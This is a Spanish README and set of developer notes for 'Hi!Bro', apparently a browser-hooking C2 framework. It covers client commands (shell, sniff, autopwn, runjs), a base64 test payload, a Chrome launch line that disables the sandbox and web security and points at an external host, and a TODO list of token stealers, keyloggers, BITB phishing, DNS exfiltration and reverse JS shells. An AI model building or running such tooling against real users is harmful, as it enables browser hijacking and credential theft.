# Hi!BRO ![image](https://hackmd.io/_uploads/Bk2zBB4wA.png =450x250) BoFC2 ### Requisitos de Software - **Node.js** Hi!Bro ha sido probado con Node.js versión 12.22.12. Asegúrate de tener una versión compatible. - **Dependencias Utilizadas** Hi!Bro hace uso de las siguientes dependencias, las cuales serán instaladas automáticamente mediante **npm install**: ``` chalk@5.3.0 child_process@1.0.2 cli-table3@0.6.5 csv-parser@3.0.0 express@4.19.2 fast-csv@5.0.1 json2csv@6.0.0-alpha.2 readline-sync@1.4.10 webdav@5.6.0 webdav-server@2.6.2 ws@8.17.1 ``` ## Comandos Disponibles **Desde la consola interactiva, puedes utilizar los siguientes comandos:** - `show modules`: Muestra los módulos en una tabla. - `show clients`: Muestra los clientes en una tabla. - `use <module>`: Usa un módulo específico y cambia el prompt. - `bro <client_id>`: Cambia el prompt al contexto de un cliente específico. - `help`: Muestra este mensaje de ayuda. - `exit`: Sale del programa. //TODO COMANDOS update modules update hibro reload reload_all hihook massive <module> ?? big help loot services save sleep version #### Uso de Módulos Cuando se usa el comando `use <module>`, el prompt cambia para reflejar el contexto del módulo. Los comandos específicos para módulos incluyen: - `setparam <PARAM_NAME> <PARAM_VALUE>`: Establece un valor de parámetro en `template.js`. - `info`: Muestra información sobre el módulo. - `help`: Muestra los comandos disponibles para el módulo. - `exit`: Sale del modo de módulo y vuelve al prompt principal. - setclient <client_id> - #### Uso de Clientes Cuando se usa el comando `bro <client_id>`, el prompt cambia para reflejar el contexto del cliente. Los comandos específicos para clientes incluyen: info - Show information about the client setmodule <MODULE_NAME> - Set a module for the client sniff - Start sniffing data from the client check - Check client security flags inyectHTML <local-html-path> - inyect local HTML file runjs <local-js-path> - runwasm <local-wasm-path> runwasmraw <local-wasm-path> getcontext autopwn shell - Open a shell for the client exit - Exit the client mode and return to main prompt ## Estructura de un Módulo Un módulo en Hi!Bro está diseñado para ser fácilmente entendible y configurable. Cada módulo sigue una estructura específica que incluye metadatos y el código que se ejecutará en el navegador hookeado. A continuación se muestra un ejemplo de un módulo y una explicación detallada de su estructura. ### Ejemplo de Módulo: `simple-alert.js` ```javascript /* AUTHOR: hibro NAME: simple-alert URL: github.com/hibro DESCRIPTION: Run a simple alert to test the hook PARAM:MSG: Message to show in alert */ alert(PARAM:MSG); ``` ### Estructura del Módulo 1. **Metadatos**: Cada módulo comienza con un bloque de comentarios que contiene metadatos sobre el módulo. Estos metadatos incluyen: - `AUTHOR`: El autor del módulo. - `NAME`: El nombre del módulo. - `URL`: Un enlace relacionado con el módulo, como un repositorio de GitHub. - `DESCRIPTION`: Una breve descripción de lo que hace el módulo. - `PARAM`: Una lista de parámetros que el módulo puede recibir. Cada parámetro tiene un nombre y una descripción. 2. **Código del Módulo**: Después de los metadatos, se encuentra el código JavaScript que se ejecutará en el navegador hookeado. ## ORGANIGRAMA DEL PROYECTO ``` . ├── certificate.pem ├── data │ ├── db │ │ ├── clients.csv │ │ ├── http-payloadStack.csv │ │ └── modules-db.csv │ ├── modules │ │ └── simple-alert.js │ └── templates │ └── template.js ├── data.json ├── env │ ├── add-functions.js │ ├── client-functions.js │ ├── menu-functions.js │ ├── modules-functions.js │ ├── show-functions.js │ └── update-functions.js ├── hibro.js ├── inc │ ├── config.js │ ├── http-server.js │ ├── https-server.js │ ├── webdav-server.js │ └── websocket-server.js ├── logs │ ├── hibro.log │ └── webdav-login.log ├── node_modules/ ├── package.json ├── package-lock.json ├── privatekey.pem └── README.md ``` ### Archivos y Directorios Principales - `certificate.pem` y `privatekey.pem`: Certificados SSL para el servidor HTTPS. - `data/`: Contiene bases de datos, módulos y plantillas. - `db/`: Bases de datos en formato CSV. - `modules/`: Scripts de módulos. - `templates/`: Plantillas para módulos. - `env/`: Funciones auxiliares para manejar diferentes aspectos del servidor. - `inc/`: Configuración y servidores. - `logs/`: Archivos de log. - `hibro.js`: Archivo principal del servidor. - `package.json` y `package-lock.json`: Dependencias del proyecto. # Hi!Hook ## HOOKING ❌ #> ### PROTOCOLOS DE HOOKING #> - **HTTP & HTTPS** - **Estado:** ❌✔️ - **Descripción:** HTTP y HTTPS son protocolos ampliamente utilizados para la comunicación web. Hi!Bro soporta ambos para el hooking de navegadores. - **Websockets** - **Estado:** ❌✔️ - **Descripción:** WebSockets permiten una comunicación bidireccional y en tiempo real entre el servidor y los navegadores, ideal para aplicaciones que requieren actualizaciones instantáneas. - **WebDAV** - **Estado:** ❌✔️ - **Descripción:** WebDAV es un protocolo para la gestión remota de archivos en servidores web. Hi!Bro lo utiliza para operaciones seguras y eficientes de archivos desde el navegador. - **WebRTC** - **Estado:** ❌ - **Descripción:** WebRTC permite comunicaciones de audio, video y datos en tiempo real entre navegadores. Actualmente no implementado en Hi!Bro. - **QUIC/HTTP3** - **Estado:** ❌ - **Descripción:** QUIC es un protocolo de transporte experimental que ofrece conexiones seguras y eficientes. No implementado en Hi!Bro. - **TCP/UCP** - **Estado:** ❌ - **Descripción:** Protocolos tradicionales de transporte de datos. No implementados en Hi!Bro. ### HOOK FUNTIONS #### SENDING LOOT FUNCTIONS - sendSimpleLoot() - Hace una peticion HTTPS a /loot/invoke-looter a la que le enviara una peticion como si fuera a subir un fichero donde el "raw" del fichero probiene un de base64 que se decodifica en la llamada de la funcion - sendHTTPEncodedLoot() - sendDNSEncodedLoot() ____ type,protocol,inyection-type X X XX type: exploit-0001 exploit-0101 { fingerbro:"", lastTS:000, hookd } ## LOS JSON - ESTABLECER COMUNICACION BASICA CON HIHOOK.JS CON LOS JSON CON BASE64 ``` El hookrecive siempre un paquete como este: {"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"} El hook envia un paquete como este: {'f': 'exploit-0001', 'c': "<base64>", 'server': 'bro.host'} {'function': 'exploit-0001', 'code': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'} Y recive algo como esto: {"resultado":"OKDATA","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"} ``` ### EJEMPLO CON WSCAT #> ``` jomoza — 10/03/2023 10:47 PM >> {"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"} << {'f': 'xploit-0001', 'c': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'} jomoza — 10/03/2023 11:13 PM >> {"resultado":"OK","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"} ``` ### Ofuscacion en hibro! (comunicaicones, payloads...) - RECIVER PARSING :: (Para recepcion de ficheros y estas cosas) - CIFRADO(!) _ OPCIONAL . - NOCRYPTO TAG! - HiBRO en memoria - HiBro en un HID - - HiBro conectividad de managment "como si fuera una victima" ### C2 MODE () CHROME PAYLOAD .\chrome.exe --allow-sandbox-debugging --debug-devtools --disable --allow-insecure-localhost --allow-running-insecure-content --disable-kill-after-bad-ipc --disable-web-security --non-secure --reduce-security-for-testing --sync-allow-insecure-xmpp-connection --incognito --demo --accept-resource-provider --disallow-non-exact-resource-reuse --local-ntp-reload --enable-local-file-accesses --enable-local-sync-backend --force-fieldtrials --force-local-ntp --ui-enable-zero-copy --debug-enable-frame-toggle --enable-appcontainer --enable-android-wallpapers-app --enable-browser-task-scheduler --enable-experimental-web-platform-features --enable-experimental-input-view-features --force-app-mode --headless --ignore-certificate-errors --ignore-certificate-errors-spki-list --ignore-urlfetcher-cert-requests --javascript-harmony --log-net-log --no-sandbox --output --rdp_desktop_session --shared-files https://loveisinthe.net ___ # HIBRO TODO. FUNCTIONAL POCS [+] ## DEVING PAYLOADS #> - some trolling payloads ❌❌❌ - change all images - funny_sounds - Token OAuth Stealer FALTA! ✔️❌ - second app in nodejs - login form detectos - add button login - BITB ( del rollo ) X /mas o menos... ❌ - integration - Crash Browser ✔️❌ mirara bien crashes - history - recirsiv - persistences? (uff) rolo? FALTA! ✔️❌ - PIVJSOTING ✔️❌ massive ifremings open second miniwin - exploiting (jsqlmap) FALTA X ✔️✔️❌ - jsqlmap (fuzzer) - stealers js (jskeylogger, ...) ❌ ✔️ - https://www.hackingarticles.in/a-detailed-guide-on-html-smuggling/ - https://github.com/t3l3machus/toxssin - file extractor - macro adder - Exfiltration - HTTP https://github.com/hoodoer/XSS-Data-Exfil/blob/main/exfilPayload.js - DNS EXFILTRATION ❌❌ https://arxiv.org/pdf/1004.4357.pdf https://hakin9.org/browsertunnel-surreptitiously-exfiltrate-data-from-the-browser-over-dns/ - reverseJSshell (integrated?) - https://github.com/shelld3v/JSshell